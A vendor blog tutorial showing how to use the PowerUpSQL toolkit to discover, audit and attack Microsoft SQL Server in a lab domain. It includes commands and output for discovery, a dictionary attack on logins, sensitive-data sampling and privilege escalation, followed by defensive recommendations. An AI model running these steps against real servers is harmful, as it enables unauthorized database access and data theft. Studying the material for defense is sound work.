Compromising SQL Server with PowerUpSQL
If you’re after a toolkit to own Microsoft SQL Server from end to end, what you need is PowerUpSQL. Implemented in PowerShell and as complete as they come, PowerUpSQL has tools to discover, compromise and own just about any SQL system. It’s the whole kill chain in one tool. This article details how to perform the critical attack steps using PowerUpSQL.
Handpicked related content:
Note that we had very mixed results with the system we was using, a very vanilla version of MS SQL 2012. We’ll be sure to highlight where our results varied with and without system admin rights. If you need tips on how to grab system level admin rights, see our catalog of techniques for attacking core AD infrastructure and our posts on AD service account attacks, attacks that exploit misconfigured permissions and our series on Mimikatz attacks.
Discovery
To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
Description :
There is also Get-SQLInstanceLocal, which will perform the same sort of discovery but only on the local instance. The domain version is noisier, but if you have only one place from which to attack on the network, it will do what you need. If you own a lot more of the network and you want to give off less signal, running the local version on each system will do the trick. In this case, we were able to get similar results when we were a normal user or a Domain Admin.
Target Selection
Once you have a few MS SQL systems you want to target — or you have many and you’re trying to sort out which ones are the best targets — you may want to find out more about each of them. Get?SQLServerInfo will give you a snapshot of useful information about your potential target. Note that we seemed to need admin rights to get good results.
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : Yes
ActiveSessions : 1
This example shows off one of the best features of PowerUpSQL: support for piping. As you can see, we pipe the results of Get-SQLInstanceLocal into Get-SQLServerInfo, so with one command, we can get results for all SQL instances on the box. More broadly, you can use this feature to easily build cracking scripts that run through complicated operations quickly.
Finding Exploits and Sensitive Data
Using what we learn from Get-SQLServerInfo, we could go to the standard libraries of threats and vulnerabilities and grab something to use to exploit this system. But there’s no need — PowerUpSQL has another powerful trick up its sleeve. The Invoke-SQLAudit cmdlet will literally do all the cracking for you. It checks pretty much every standard way to break into a database, find sensitive information and exfiltrate it to a form you can carry away.
When you invoke it, you will first see an outpouring of results like this:
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
But that’s just Invoke-SQLAudit getting started. After it runs through all the permission-level checks, it checks for specific, known vulnerabilities one by one and reports on what it finds for each:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database master was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database tempdb was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Reading through the results of this cmdlet, regardless of how vulnerable your target may have been, is like a master class in SQL Server exploits. Moreover, the authors have left the toolkit open for extension as new vulnerabilities and exploits are found. So we should expect to see this list only grow over time.
And that’s not all. Once it’s done with vulnerabilities, it tries to find data you may want to steal:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
These results (slightly redacted for obvious reasons) were just two of the many dozens found in our target. The authors are even eating their own dogfood as they do this. These results were found using the “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit” cmdlet, as stated in the results.
Privilege Escalation
One of the disappointments when playing with PowerUpSQL was that the very powerful Invoke-SQLEscalatePriv never worked for us. We tried different users, hosts, execution types (local and remote) and kinds of rights, but it would never escalate the user. The reason seems to be the defaults in MS SQL 2012 Enterprise Edition. Here’s what we saw when running as a non-admin user:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:PowerUpSQL-master>
Reading online, this cmdlet seems this does work for many others.
Other Functionality
One can easily imagine using this tool to get a sense of what to hit and then zero in. We would build a script, liberally taking advantage of the piping to find where we have maximum rights, and then move in on sensitive data on each of those locations.
We’re always thinking in terms of exfiltration, but maybe your goal is system ownership? PowerUpSQL offers paths to that as well, but we will look at how to do that in the next post. Indeed, there is so much in PowerUpSQL that we could keep going on for a lot longer. However, the authors have already done a good job covering their tool so we will stop here.
Defending against PowerUpSQL
Now let’s turn to what you can do to defend against PowerUpSQL. The bad news for our fun was good news for our data: Many of the things in PowerUpSQL seemed to need admin rights for are handled by the default security posture of SQL 2012 Enterprise Edition. However, admin rights are so easy to crack in most shops these days that this seems like a small barrier to success.
Still, there are some proven steps you can take to help protect your organization:
- Enforce a least privilege model for SQL Server. Do the local and domain admins really need to be SQL database and sys admins as well? Develop a clear, written policy that details why and when this is needed. Keeping these administrative functions distinct will prevent a compromise of one leading to the compromise of the other.
- Investigate the security impact of any changes to SQL system settings. Application vendors often demand changes to security settings only to spare themselves a few steps — and those steps can make the difference between safety and compromise. One way to find out is to run a PowerUpSQL audit before and after you make such changes to your test systems and compare the results.
- Ensure that all passwords and sensitive data are masked, hashed or encrypted. If the bad guys are after data, this is your best way to stop them from getting it. Systems will always be crackable, but decent encryption is a brick wall for all but the most sophisticated foe. If that sort of adversary is after your data, then you have higher order concerns.
- Whenever possible, avoid risky configurations such as database ownership chaining. As with changes to settings, database-level features like this are often used only to save developers some time. Make sure there is at least a consideration of risks when these configurations are being considered. Often the most challenging part is finding out where and when those conversations are happening and influencing them.
- Ensure your systems are patched on a schedule that keeps them as up to date as possible. This may be the most tired advice in security, but it’s true. Many of the vulnerabilities tested for here would have been addressed by proper patching. Patches don’t solve all your security problems, but they do prevent that big pit in your stomach when things go badly and you know it may have been (or absolutely was) due to a missing patch.
How Netwrix Can Help
Databases often contain highly sensitive information, which makes them a prime target for attackers. For strong security, database administrators need insight into their entire SQL footprint, across both on-premises datacenters and the cloud. Netwrix StealthAUDIT automatically reveals where SQL databases exist, who has access to them, how they obtained that access, who or what is leveraging their access privileges, where sensitive information resides, and how each database has been configured.
Share on
View related cybersecurity attacks
Abusing Entra ID Application Permissions – How It Works and Defense Strategies
AdminSDHolder Modification – How It Works and Defense Strategies
AS-REP Roasting Attack - How It Works and Defense Strategies
Hafnium Attack - How It Works and Defense Strategies
DCSync Attacks Explained: Threat to Active Directory Security
Pass the Hash Attack
Understanding Golden Ticket Attacks
Group Managed Service Accounts Attack
DCShadow Attack – How It Works, Real-World Examples & Defense Strategies
ChatGPT Prompt Injection: Understanding Risks, Examples & Prevention
NTDS.dit Password Extraction Attack
Kerberoasting Attack – How It Works and Defense Strategies
Pass-the-Ticket Attack Explained: Risks, Examples & Defense Strategies
Password Spraying Attack
Plaintext Password Extraction Attack
Zerologon Vulnerability Explained: Risks, Exploits and Mitigation
Active Directory Ransomware Attacks
Unlocking Active Directory with the Skeleton Key Attack
Lateral Movement: What Is It, How It Works And Preventions
Man-in-the-Middle (MITM) Attacks: What They Are & How to Prevent Them
Silver Ticket Attack
4 Service Account Attacks and How to Protect Against Them
Why Is PowerShell So Popular for Attackers?
How to Prevent Malware Attacks from Impacting Your Business
What is Credential Stuffing?
What Are Mousejacking Attacks, and How to Defend Against Them
Stealing Credentials with a Security Support Provider (SSP)
Bypassing MFA with the Pass-the-Cookie Attack
Golden SAML Attack